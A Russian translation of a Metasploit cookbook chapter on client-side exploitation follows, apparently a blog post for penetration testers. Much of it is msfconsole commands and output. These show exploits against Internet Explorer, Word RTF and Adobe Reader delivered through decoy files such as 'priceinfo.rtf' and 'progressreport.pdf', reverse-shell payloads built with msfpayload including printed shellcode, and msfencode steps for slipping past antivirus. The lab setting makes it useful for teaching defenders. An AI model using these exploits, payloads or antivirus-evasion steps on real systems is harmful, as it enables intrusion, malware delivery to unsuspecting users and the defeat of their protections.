Metasploit Penetration Testing Cookbook – часть 4

в 16:51, , рубрики: Без рубрики

Всем привет!
Metasploit Penetration Testing Cookbook – часть 4

Предлагаю вам перевод четвертой части книги "Metasploit Penetration Testing Cookbook". Смотрите также переводы:

Глава 4 — Эксплуатация на стороне клиента и Antivirus Bypass

В этой главе рассмотрим:

• Internet Explorer — опасные сценарии
• Internet Explorer CSS — рекурсивный вызов повреждения памяти
• Microsoft Word RTF — стек переполнения буфера
• Adobe Reader util.printf() — переполнение буфера
• msfpayload — генерирование бинарников и шелл-кода
• Обход client-side антивирусов используя msfencode
• Использование killav.rb сценария для деактивации антивирусных программ
• Более глубокий взгляд в сценарий killav.rb
• Убийство антивирусных служб из командной строки

В предыдущей статье мы сосредоточились на пентесте операционной системы (ОС). Определение ОС, это так сказать первый уровень в пентестировании, потому что не пропатченную, со старой версией операционную систему можно легко эксплуатировать. Но ситуации могут быть разными. Могут быть ситуации, в которых например, firewall будет блокировать наши пакеты при сканировании и тем самым помешает получить информацию о целевой ОС и открытых портах.

Также может быть вероятность того, что на целевой машине происходит автоматическое обновление, которое исправляет уязвимости на регулярной основе. Это также помешает нам в осуществлении атаки по известным уязвимостям. Поэтому сделаем, так сказать, шаг вперед. Т.е. будем применять эксплуатацию на стороне клиента (client-side exploitation) и обходить (bypassing) антивирусы. Для начала давайте разберем типичные векторы атаки на стороне клиента (client-side).

Предположим пентестер выяснил, что ОС на целевой машине - Windows XP SP3, а в качестве браузера по умолчанию установлен Internet Explorer 7. Таким образом он может создать вредоносный URL, который будет содержать исполняемый код с известной уязвимостью к IE7. После этого создается безобидная HTML-страничка с уязвимыми ссылками. Следующим шагом, используя социальную инженерию, будет передать ссылку HTML-странички пользователю и завлечь его щелкнуть по вредоносной ссылке. Так как ссылка содержит уязвимость IE7, то она (уязвимость) может скомпрометировать браузер и позволит выполнение вредоносного кода, после чего пентестер может получить контроль над системой. Далее можно установить в системе backdoor, вирус и т.п.

Что же сейчас произошло? Хотя на целевой системе были установлены обновления и патчи, но браузер IE7 не был обновлен, т.е. пользователь пренебрег этим. Следовательно это и позволило скомпрометировать систему.

Сценарий, который мы только что обсудили — простая атака на стороне клиента, в которой жертва (пользователь) неосознанно выполняет код, который в свою очередь использует уязвимость программного обеспечения. В случае успешного выполнения эксплоита, атакующий ставит под угрозу безопасность всей системы.

Metasploit предоставляет нам большое количество эксплоит-модулей для популярных программ, которые могут быть использованы на стороне клиента. Давайте взглянем на программы, которые мы будем эксплуатировать в этой главе: Internet Explorer, Microsoft Office Pack, Adobe Reader, Flash и т.п. Metasploit содержит несколько модулей для этих популярных программ. Давайте быстро проанализируем процесс атаки на стороне клиента в Metasploit. Наша цель: успешная атака и загрузка шелла.

Metasploit выполняет этот процесс в два простых шага:

  • Генерирует соотв. вредоносную ссылку/файл. После этого начинает прослушивать определенный порт для обратного соединения с целью (for a back connection with the target). После чего отправляет вредоносную ссылку/файл пользователю.
  • Теперь, когда цель выполняет вредоносную ссылку/файл, приложение получает эксплоит и Metasploit передает payload какому нибудь Windows процессу. Так что, если приложение «рухнет» от эксплоита или пользователь закроет приложение — подключение к цели останется.

Давайте приступим.

Internet Explorer - опасные сценарии

Для начала рассмотрим browser-based на стороне клиента. Элементарный процесс, использующий любой client-side эксплоит модуль, похожий на те, которые обсуждали в предыдущих главах. Единственное отличие состоит в передаче эксплоита цели. В отличие от system-based эксплоитов, client-side эксплоиты требуют ручного исполнения на целевой машине. Без паники, все станет понятно, когда мы приступим к практике.

Начнем с запуска msfconsole и выбора соотв. эксплоита. Процесс аналогичен тому, что мы обсуждали в предыдущих главах. Затем, выберем payload, который поможет нам установить шелл на целевой машине. Эксплоит, с которым будем иметь дело в этой главе — exploit/windows/browser/ie_unsafe_scripting.

Примечание: этот эксплойт, как известно, влияет на Internet Explorer версий 6 и 7, которые установлены по умолчанию в Windows XP и 2003. Но он с успехом запустился на Windows 7 Ultimate с Internet Explorer 8 (unpatched).

Этот эксплоит работает, когда Initialize and script ActiveX controls not marked as safe установлен в IE. Параметр может быть найден - Tools | Internet Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe | Enable.

Metasploit Penetration Testing Cookbook – часть 4

Такие настройки могут быть сделаны и в других версиях Internet Explorer. В этом рецепте мы будем эксплуатировать две цели:

  • Windows XP SP2 с IE 7
  • Windows 7 с IE 8

Итак запускаем msfconsole и устанавливаем соотв. эксплоит. В качестве payload будем использовать reverse_tcp, чтобы получить шелл:

msf > use exploit/windows/browser/ie_unsafe_scripting
msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_unsafe_scripting) > show options

Module options (exploit/windows/browser/ie_unsafe_scripting):

  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SRVHOST     0.0.0.0          yes       The local host to..
  SRVPORT     8080             yes       The local port to..
  SSL         false            no        Negotiate SSL..
  SSLCert                      no        Path to a custom SSL..
  SSLVersion  SSL3             no        Specify the version..
  URIPATH                      no        The URI to use for..
Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh..
  LHOST                      yes       The listen address
  LPORT     4444             yes       The listen port
Exploit target:
  Id  Name
  --  ----
  0   Automatic
msf exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

Теперь наш эксплоит, а так же payload находятся в активном состоянии. Как видно,  мы не использовали здесь RHOST опцию, так как это client-based атака. Посмотрим, что произойдет при запуске. Выполним команду exploit:

msf exploit(ie_unsafe_scripting) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB
[*] Local IP: http://192.168.56.101:8080/2IGIaOJQB
[*] Server started.

В результате сгенерировалась вредоносная ссылка (http://192.168.56.101:8080/2IGIaoJQB), которую мы пошлем нашим целям. Кроме того, в последней строке говорится «Server started» -> будем прослушивать соединение 4444 порта на целевой машине. Сперва проанализируем выполнение ссылки на Windows XP.

Браузер будет пытаться загрузить страницу, но в конце концов ничего не будет отображаться. В свою очередь, браузер либо зависнет, либо будет бездействовать. Но вы заметите некоторую активность в msfconsole. Эта активность будет примерно след. содержания:

msf exploit(ie_unsafe_scripting) >
[*] Request received from 192.168.56.102:1080...
[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.102:1080...
[*] Exe will be uunqgEBHE.exe and must be manually removed from the %TEMP% directory on the target.
Sending stage (752128 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 ->192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

Отлично! У нас есть активная сессия с целевой машиной. В выводе выше видно, что исполняемый файл был создан в папке temp на целевой машине.

Теперь посмотрим, как вредоносная ссылка будет вести себя, если ее передать Windows 7 с IE8. Нужно учесть, что Internet Explorer покажет предупреждающее сообщение. При нажатии кнопки Allow, начнет выполняться наш внешний скрип, что может привести к зависанию браузера:

Metasploit Penetration Testing Cookbook – часть 4

Перейдем в msfconsole и посмотрим выполнение атаки:

msf exploit(ie_unsafe_scripting) >
[*] Request received from 192.168.56.1:51115...
[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.1:51115...
[*] Exe will be uddoE.exe and must be manually removed from the %TEMP% directory on the target.
[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 ->192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

Мы получили еще одну активную сессию с Windows 7. Начнем работать с нашими сессиями:

msf exploit(ie_unsafe_scripting) > sessions

Active sessions
===============
  Id  Type         Information  Connection
  --  ----         -----------  ----------
  1   meterpreter  x86/win32    DARKLORD-9CAD38darklord
  2   meterpreter  x86/win32    HackingAlert-PChackingalert

Как видим, команда sessions показывает список активных сессий. Одна из них — Windows XP, другая — Windows 7. Давай поработаем с Windows 7:

msf exploit (ie_unsafe_scripting) > sessions -i 1
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7264]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>

Процесс выполнения эксплоита должен быть понятен. Но давайте сфокусируемся на причинах.  Когда "Initialize and script ActiveX controls not marked safe for scripting" включен, то он позволяет получить доступ к WScript.Shell ActiveX. Объект WScript.Shell в свою очередь предоставляет доступ к функциям: чтение файловой системы, переменные окружения, читать/изменять реестр, а также управлять ярлыками. Эта особенность WScript.Shell позволяет атакующему создать JavaScript для взаимодействия с файловой системой и выполнения системных команд.

Теперь поговорим об еще одном важном browser-based эксплоите.

Internet Explorer Aurora — повреждение памяти

Это еще один широко используемый эксплоит для IE, который вышел в свет в середине 2010 года. Он был ключевым звеном в атаке "Операция Аврора". Этот эксплоит использует ошибку повреждения памяти в IE 6. Изучение эксплоита кладется на ваши плечи, в Metasploit его можно найти по след. адресу - exploit/windows/browser/ms10_002_aurora.

Internet Explorer CSS - рекурсивный вызов повреждения памяти

Этот эксплоит, как известно, влияет на работу Windows 7 и Windows Server 2008 с IE 8 в качестве браузера по умолчанию. Процесс настройки эксплоита аналогичен предыдущему. Так что давайте быстро его протестируем. Наша цель машина Windows 7 Ultimate Edition с IE 8 (unpatched).

Начнем с запуска msfconsole. В качестве эксплоита воспользуемся exploit/windows/browser/ms11_003_ie_css_import, а payload - windows/meterpreter/bind_tcp, который поможет нам в получении шелла:

msf > use exploit/windows/browser/ms11_003_ie_css_import
msf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/reverse_tcp
payload =>windows/meterpreter/reverse_tcp
smsf exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101
LHOST =>192.168.56.101
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji
[*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji
[*] Server started.

Как видим, extploit и payload были установлены с различными параметрами. После выполнения команды exploit, сгенерировалась вредоносная ссылка - 192.168.56.101:8080/K9JqHoWjzyAPji, которая должна быть передана целевой системе. После того, как пользователь выполнит ее, браузер будет «заморожен» и будет потреблять большое кол-во ресурсов. Цель будет вынуждена закрыть браузер. Посмотрим, что происходит в msfconsole:

[*] 192.168.56.1:52175 Received request for "/K9JqHoWjzyAPji/xEEx80xA0xE1x81x9AxEEx80xA0xE1x81x9AxEEx80xA0xE1x81x9AxEEx80xA0xE1x81x9A"
[*] 192.168.56.1:52175 Sending
windows/browser/ms11_003_ie_css_import CSS
[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:52176) at 2011-11-15 13:18:17 +0530
[*] Session ID 1 (192.168.56.101:4444 ->192.168.56.1:52176) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (5164)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5220
[+] Successfully migrated to process

После успешного выполнения уязвимости у нас появилась сессия. Но происходит еще кое что, а именно InitialAutoRunScript выполняет команду migrate -f, которая  переносит процесс с iexplore.exe на notepad.exe. Таким образом, если пользователь закроет браузер, у нас по прежнему останется активная сессия, так как мы перешли на другой процесс.

Давайте проанализируем эту уязвимость. Когда HTML-парсер Microsoft (mshtml) анализирует HTML-страницу, которая рекурсивно импортирует один и тот же CSS-файл, это приводит к повреждению памяти и позволяет выполнение произвольного кода. Рассмотрим след. HTML-код:

// html file
<link href="css.css" rel="stylesheet" type="text/css" />
// css file
*{
color:red;
}
import url("css.css");
import url("css.css");
import url("css.css");
import url("css.css");

Видим, что один и тот же CSS-файл выполняется четыре раза подряд. Когда mshtml просматривает эту HTML-страницу, то это приводит к повреждению памяти. Этот эксплоит использует комбинацию из heap-spraying и .NET 2.0 mscorie.dll модуль для обхода DEP и ASLR. С чрезмерным потреблением системных ресурсов, он выходит из строя. Используя эту уязвимость, злоумышленник получает те же права, что и вошедший в систему пользователь:

Metasploit Penetration Testing Cookbook – часть 4

На скриншоте видны последствия: IE потребляет большое кол-во ресурсов. И также виден процесс notepad.exe, который запущен в фоновом режиме.

Существует распространенная ошибка, с которой мы можем столкнуться при выполнении этого эксплоита - "Target machine does not have the .NET CLR 2.0.50727". Причина этой ошибки не потому, что. Net отсутствует, а потому что Internet Explorer не установлен в качестве браузера по умолчанию. Поэтому нужно, чтобы IE на целевой системе был в качестве браузера по умолчанию.

Microsoft Word RTF — стек переполнения буфера

В предыдущих двух рецептах мы рассматривали browser-based эксплоиты. В этом рецепте сосредоточимся на таком популярном продукте от Microsoft, как Microsoft Office. Переполнение RTF буфера существует в версиях 2007 и 2010 Office. 

Запускаем msfconsole. В качестве эксплоита будем использовать exploit/windows/fileformat/ms10_087_rtf_pfragments_bof, а в качестве payloadwindows/meterpreter/reverse_tcp (да да, для создания сессии):

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_087_rtf_pfragments_bof) > show options

Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILENAME   msf.rtf          yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh..
  LHOST                      yes       The listen address
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ----
  0   Automatic

Эксплоит содержит параметр FILENAME, который содержит информацию о вредоносном файле, который будет создан. Видим, что значение по умолчанию msf.rtf. Давайте изменим его на менее броское имя. Нам также нужно задать параметр LHOST (local host) -> IP-адрес атакующего:

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf
FILENAME => priceinfo.rtf
msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101

Теперь выполним команду exploit:

msf exploit(ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'priceinfo.rtf' file...
[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf

Metasploit создал файл — /root/.msf4/local/priceinfo.rtf. Следующим шагом нужно будет передать этот файл пользователю, например по почте или через другие среды. Когда файл будет выполнен, Microsoft Word зависнет или произойдет сбой (зависит от системы). В это же время, вредоносный файл выполнит эксплоит и обеспечит нас активной сессией. Для того, чтобы сделать устойчивое соединение, exploit «перенесет» самого себя на  другой процесс, который будет работать в фоновом режиме:

Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 ->1 92.168.56.1:57031) at 2011-11-13 23:16:20 +0530
[*] Session ID 2 (192.168.56.101:4444 ->192.168.56.1:57031) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: WINWORD.EXE (5820)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5556
[+] Successfully migrated to process

Существует еще один популярный эксплоит для Microsoft Word, который остается на вас. Microsoft Excel 2007 buffer overflow (exploit/windows/fileformat/ms11_021_xlb_bof).

Adobe Reader util.printf() переполнение буфера

PDF является одним из наиболее широко используемых форматов для обмена файлами и документами. Таким образом, использовать его в качестве потенциального оружия — отличная идея. Эксплоит, который мы будет обсуждать здесь подходит для Adobe Reader до версии 8.1.3.

Наша цель - Windows XP SP3, на которой работает Adobe Reader версии 8.1.

Запускаем msfconsole. В качестве эксплоита возьмем exploit/windows/fileformat/adobe_utilprintf, а payload — windows/meterpreter/reverse_tcp:

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.pdf          yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh..
  LHOST                      yes       The listen address
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ----
  0   Adobe Reader v8.1.2 (Windows XP SP3 English)

Видно, что эксплоит пригден для Adobe Reader v8.1.2 и Windows XP SP3. Поэтому успех будет зависеть от версии Adobe Reader и Windows. Эксплоит так же содержит параметр FILENAME, в котором будет задаваться имя вредоносного файла, а также LHOST параметр:

msf exploit(adobe_utilprintf) > set FILENAME progressreport.pdf
FILENAME => progressreprt.pdf
msf exploit(adobe_utilprintf) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

Теперь выполняем эксплоит:

msf exploit(adobe_utilprintf) > exploit
[*] Creating 'progressreport.pdf' file...
[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

Вредоносный PDF-файл создан и находится в /root/.msf4/local/progressreport.pdf.

На этот раз мы применим другой подход для прослушивания обратного соединения. Представим себе ситуацию, что вы случайно закрыли msfconsole. Что теперь делать, создавать PDF-файл заново? Нет, в Metasploit существует специальный модуль, который может быть использован для запуска «слушателя» (listener), так что можно будет продолжить с процесса использующего те же файлы/ссылки, которые были сгенерированны для client-side атаки. Рассмотрим ситуацию, когда мы создали вредоносный PDF-файл, но еще не использовали его для client-side атаки. Так что давайте откроем заново msfconsole и воспользуемся модулем exploit/multi/handler, который будет выступать в качестве «слушателя» обратного соединения:

msf > use exploit/multi/handler
msf exploit(handler) > show options

  Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------

Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

  Name Current Setting Required Description
  ---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: she..
  LHOST                      yes       The listen address
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target

msf exploit(handler) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

Осталось выполнить команду exploit:

msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.101:4444

Готово. После того, как PDF-файл будет запущен на целевой машине, мы сможем получить обратное соединение с целью.

Как только PDF-файл будет запущен, Adobe Reader зависнет, что приведет к отказу в обслуживании, а в Metasploit увидим, что была создана сессия:

[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 ->192.168.56.102:1035) at 2011-11-25 12:29:36 +0530
meterpreter > shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP SP3
(C) Copyright 1985-2001 Microsoft Corp.
E:>

Эта проблема была выявлена в уязвимых версия Adobe Reader использующих JavaScript функцию util.printf(). Функция сначала конвертирует аргумент (получает строку), используя только первые 16 знаков в аргументе и заполняет остальные с фиксированным значением «0» (0x30). Передавая очень большую и правильно отформатированную команду функции, можно перезаписать память программы и контролировать ее поток выполнения. Metasploit модуль создает специальный PDF-файл, который встраивает JavaScript код для манипулирования/управления памятью программы. Это может позволить атакующему выполнить произвольный код с привилегиями пользователя, запустившего приложение Adobe Reader.

Рассмотрим след. две строки JavaScript, встроенных в PDF:

var num = 1.2
util.printf("%5000f",num)

Это две строки вызывают байт 0x20 для копирования 5000 раз в стеке. Это позволяет получить контроль над обработчиком исключений.

msfpayload — генерирование бинарников и шелл-кода

Итак, мы обсудили много методов, которые могут быть использованы для проникновения на целевую машину, используя client-side атаки. Все эти уязвимости используются в разных частях программного обеспечения. Но может быть сценарий, в котором эти техники будут бессильны.

Metasploit предоставляет еще одно решение, в котором можно выполнять client-side атаки не заботясь о программном обеспечении, использующиеся на целевой системе. msfpayload, как раз то самое решение. Давайте быстро посмотрим, что такое msfpayload и для чего нужно, а потом сразу к практике.

msfpayload — это экземпляр командной строки Metasploit, который используется для создания различных типов файлов (shellcodes), которые доступны в репозитории Metasploit'a. Доступные опции: C, Ruby, Raw, Exe, Dll, VBA, и War. Используя msfpayload, мы можем конвертировать любой Metasploit shellcode в один из этих форматов. После чего он может быть передан цели для выполнения.

Главный недостаток msfpayload в том, что его легко обнаруживают антивирусные программы, когда он исполняется на целевой машине.

Давайте начнем экспериментировать с msfpayload. Для начала посмотрим, как его использовать. Для этого введем след. команду:

root@bt:~# msfpayload -h
Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>[var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>

Для того, чтобы посмотреть список доступных шеллкодов введите команду msfpayload -l.

Теперь посмотрим, как мы можем сгенерировать конкретный шеллкод на языке СИ. В качестве payload  будем использовать windows/shell/reverse_tcp:

root@bt:~# msfpayload windows/shell/reverse_tcp o

       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
    Version: 10394, 11421
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 290
       Rank: Normal

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh..
  LHOST                      yes       The listen address
  LPORT     4444             yes       The listen port

Обратите внимание на опцию о. Он нам нужна, чтобы отобразить параметры шеллкода. Теперь передадим параметры шеллкоду:

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 o

После того как передали параметры LHOST и LPORT, след. шагом будет сгенерировать СИ код (вывод был сокращен):

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 C
/*
* windows/shell/reverse_tcp - 290 bytes (stage 1)
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2"
"xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85"
"xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3"
"x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d"
"x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58"
"x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b"
"x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff"
"xe0x58x5fx5ax8bx12xebx86x5dx68x33x32x00x00x68"
"x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90x01"

Заглавная буква С в командной строке, говорит что шелл-код сгенерирован на Си. Так же можно использовать опции для генерации шелл-кодов на языках Ryby и Perl.

Давайте перейдем к след. шагу в генерировании бинарного шелл-кода (shellcode), который может использоваться в cliet-side атаках.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X >.local/setup.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.56.101"}

Обратите внимание на параметры, которые ввели в командной строке. Мы использовали X параметр, чтобы сгенерировать exe-файл. Он был создан в папке .local с именем setup.exe.

Теперь, когда исполняемый файл готов, мы создадим «слушателя (listener)» в msfconsole, чтобы прослушивать соединение, когда exe-файл будет запущен:

msf > use multi/handler
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload =>windows/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.46.101
msf exploit(handler) > exploit
[-] Handler failed to bind to 192.168.46.101:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler

Заметьте, что мы использовали тот же payload и передали те же значения параметров, которые использовали при создании исполняемого файла. Теперь наш «слушатель» готов для получения обратной связи (reverse connection). Как только пользователь на целевой системе (Windows; до Windows 7) выполнит вредоносный exe-файл, мы получим шелл.

Обход client-side антивирусов используя msfencode

В предыдущем рецепте мы сосредоточились на том, как создавать выполняемый shellcode и использовать его, как оружие для cliet-side атак. Но некоторые выполняемые файлы легко обнаруживаются антивирусами, что помешает нам в выполнении атаки. И, что же теперь делать? Для этого рассмотрим след. уровень атаки — обход антивирусной защиты. Эффективным методом является кодирование исполняемых файлов.

Антивирусы используют сигнатурный метод, в котором они проверяют код первых строк файла с ихней базой данных. Если совпадение найдено, то файл рассматривается как угроза. Одним словом — автомат. Если да, то да. Нет, значит нет. Поэтому будем эксплуатировать эту технику, чтобы обойти защиту антивирусов. Msfencode — эффективная утилита, которая кодирует shellcodes и следовательно делает их менее восприимчивыми к антивирусам. Msfencode предоставляет нам множество вариантов кодирования.

Существует важный момент перед началом. Успех состоит из двух факторов: типа шеллкода и антивируса запущенного на целевой машине. Этот рецепт включает в себя множество экспериментов для определения, какой шелл выбрать и какой тип кодирования использовать для обхода антивируса. Здесь, у нас есть две цели. Одна из них - Windows XP SP2 с AVG 10 (free version), а также Windows 7 Ultimate, на которой запущен ESET NOD32 (full and updated version). Сначала обсудим простой вариант, т.е. машина Windows XP SP2 с AVG 10 (free version), а потом вторую.

Как правило msfencode работает вместе с командой msfpayload для кодирования и создания shellcode. Сначала запустим msfencode. Запуск команды msfencode -h отображает доступные параметры, а msfencode -l показывает различные типы кодирования:

root@bt:~# msfencode -l
Framework Encoders
==================
  Name                    Rank       Description
  ----                    ----       -----------
  cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
  cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
  cmd/printf_php_mq       manual     printf(1) via PHP magic_quotes Utility Command Encoder
  generic/none            normal     The "none" Encoder
  mipsbe/longxor          normal     XOR Encoder
  mipsle/longxor          normal     XOR Encoder
  php/base64              great      PHP Base64 encoder
  ppc/longxor             normal     PPC LongXOR Encoder
  ppc/longxor_tag         normal     PPC LongXOR Encoder
  sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
  x64/xor                 normal     XOR Encoder
  x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
  x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
  x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
  x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
  x86/context_cpuid       manual     CPUID-based Context Keyed Payload Encoder
  x86/context_stat        manual     stat(2)-based Context Keyed Payload Encoder
  x86/context_time        manual     time(2)-based Context Keyed Payload Encoder
  x86/countdown           normal     Single-byte XOR Countdown Encoder
  x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
  x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
  x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
  x86/nonalpha            low        Non-Alpha Encoder
  x86/nonupper            low        Non-Upper Encoder
  x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
  x86/single_static_bit   manual     Single Static Bit
  x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
  x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Как видим во фреймворке используется много кодировщиков, которые используют различные типы обфускации шеллкода.

Я разделил этого рецепт на три различных случая, чтобы дать большее представление и понимание процесса. А также, чтобы развить вашу собственную логику.

Случай 1. Кодирование простого шелла:

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh -c 2 -t exe >.local/encoded.exe
[*] cmd/generic_sh succeeded with size 290 (iteration=1)
[*] cmd/generic_sh succeeded with size 290 (iteration=2)

Итак, мы использовали windows/shell/reverse_tcp шелл и сгенерировали «сырой» файл используя параметр R. Затем поместили в конвейер "|" команду  msfencode. Параметр -e используется для определения типа кодирования, в нашем случае cmd/generic_sh. Параметр -c предоставляет число итераций, а -t параметр указывает на тип файла. Наконец, файл encoded.exe помещается в папку .local. Когда encoded.exe выполнит client-side атаку на двух целях, то его с легкостью обнаружат обе цели: Windows XPс AVG 10 и Windows 7с NOD32. Возможно нам предоставится шелл, но все действия будут блокироваться антивирусами.

Случай 2. Теперь будем увеличивать сложность кодирования, добавляя дефолтные windows exe шаблоны в шелл, а также за счет увеличения числа итераций кодирования. Дефолтные шаблоны (например calc.exe или cmd.exe) помогут создать менее подозрительный файл. Windows шаблоны находятся в директории /opt/framework3/msf3/lib/msf/util/../../../data/templates.

Вы можете добавить любой исполняемый файл Windows в эту папку, а потом использовать его в шаблоне. Здесь, автор скопировал cmd.exe в папку, чтобы использовать его в качестве шаблона для шелла.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe>.local/cmdencoded.exe

Единственным дополнительным параметром является -x, который используется для указания альтернативного шаблона. Также изменили стиль кодирования на shikata_ga_nai. Число итераций также была увеличена до 20. Исполняемый файл хорошо обходит антивирус AVG 10 запущенный на WIndows XP. Но, к сожалению, он был обнаружен на целевой системе (Windows 7), которая использовала послед. версию NOD32. Так что он (вредоносный файл) может быть использован для обхода старых версий антивирусов. Следующая проблема в том, что не удалось запустить шелл на Windows 7/Server 2008 машинах, даже в том случае, когда они использовали старые версии антивирусов. Шелл-код «падает» при исполнении (из за шаблона) и даже, если он обходит антивирус, то его все равно не удается запустить на новых версиях Windows.

